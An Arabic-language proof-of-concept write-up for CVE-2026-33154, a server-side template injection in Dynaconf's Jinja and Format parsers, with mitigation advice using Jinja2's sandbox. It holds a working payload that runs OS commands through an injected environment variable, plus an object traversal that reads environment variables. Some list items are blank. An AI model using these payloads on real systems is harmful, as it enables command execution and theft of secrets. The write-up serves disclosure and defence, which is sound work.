
إثبات مفهوم لاستغلال CVE-2026-33154، يوضح تنفيذ الأكواد عن بُعد عبر SSTI في محلل Jinja الخاص بـ Dynaconf، مع تحليل وإرشادات للتخفيف.
Dynaconf معرّض لثغرة حقن القوالب من جانب الخادم (SSTI) بسبب التقييم غير الآمن للقوالب في محلل __@Jinja__. عند تثبيت حزمة jinja2، يقوم Dynaconf بتقييم تعبيرات القوالب المضمّنة في قيم الإعدادات دون بيئة معزولة (sandbox).
إذا تمكن المهاجم من التأثير على مصادر الإعدادات مثل:
.env...فيمكنه تنفيذ أوامر نظام تشغيل تعسفية على النظام المضيف. بالإضافة إلى ذلك، يسمح محلل __@Format__ بالتنقل عبر مخطط الكائنات، مما قد يكشف عن كائنات حساسة في وقت التشغيل ومتغيرات بيئة.
تنشأ الثغرة لأن محللات السلاسل النصية في Dynaconf تفتقر إلى حدود أمنية مناسبة.
__@Jinja__يقوم محلل __@Jinja__ بعرض القوالب باستخدام تقييم Jinja2 الكامل. ومع ذلك، فإن سياق العرض ليس معزولاً (sandboxed)، مما يسمح للمهاجمين بالوصول إلى السمات الداخلية للغة Python. باستخدام كائنات مثل cycler، يمكن للمهاجمين الوصول إلى المتغيرات العامة في Python واستيراد وحدة os.
مسار الهجوم مثال:
cycler → __init__ → __globals__ → os → popen()
يؤدي هذا إلى تنفيذ أوامر تعسفية.
__@Format__يقوم محلل __@Format__ بتنسيق السلاسل النصية في Python باستخدام كائنات داخلية. وهذا يسمح للمهاجمين بالتنقل عبر مخطط كائنات Python والوصول إلى كائنات حساسة في وقت التشغيل.
مثال على التنقل:
{this.__class__.__init__.__globals__[os].environ}
يمكن أن يكشف هذا عن:
import os
from dynaconf import Dynaconf
# حقن إعدادات خبيثة
os.environ["DYNACONF_RCE"] = "@jinja {{ cycler.__init__.__globals__.os.popen('id').read() }}"
settings = Dynaconf()
print("[!] نتيجة تنفيذ الأمر:")
print(settings.RCE)
الاستغلال الناجح يسمح للمهاجمين بـ:
نظراً لأن قيم الإعدادات قد تنشأ من خطوط أنابيب CI/CD أو أنظمة تنسيق الحاويات أو حقن البيئة، يمكن أن تصبح هذه الثغرة قابلة للاستغلال عن بُعد في عمليات النشر في العالم الحقيقي.
from jinja2.sandbox import SandboxedEnvironment
env = SandboxedEnvironment()
template = env.from_string("{{ config_value }}")
safe_value = template.render(config_value=user_input)
__@Format__ للقيم الموثوقةsafe_value = "{name}".format(name=trusted_name)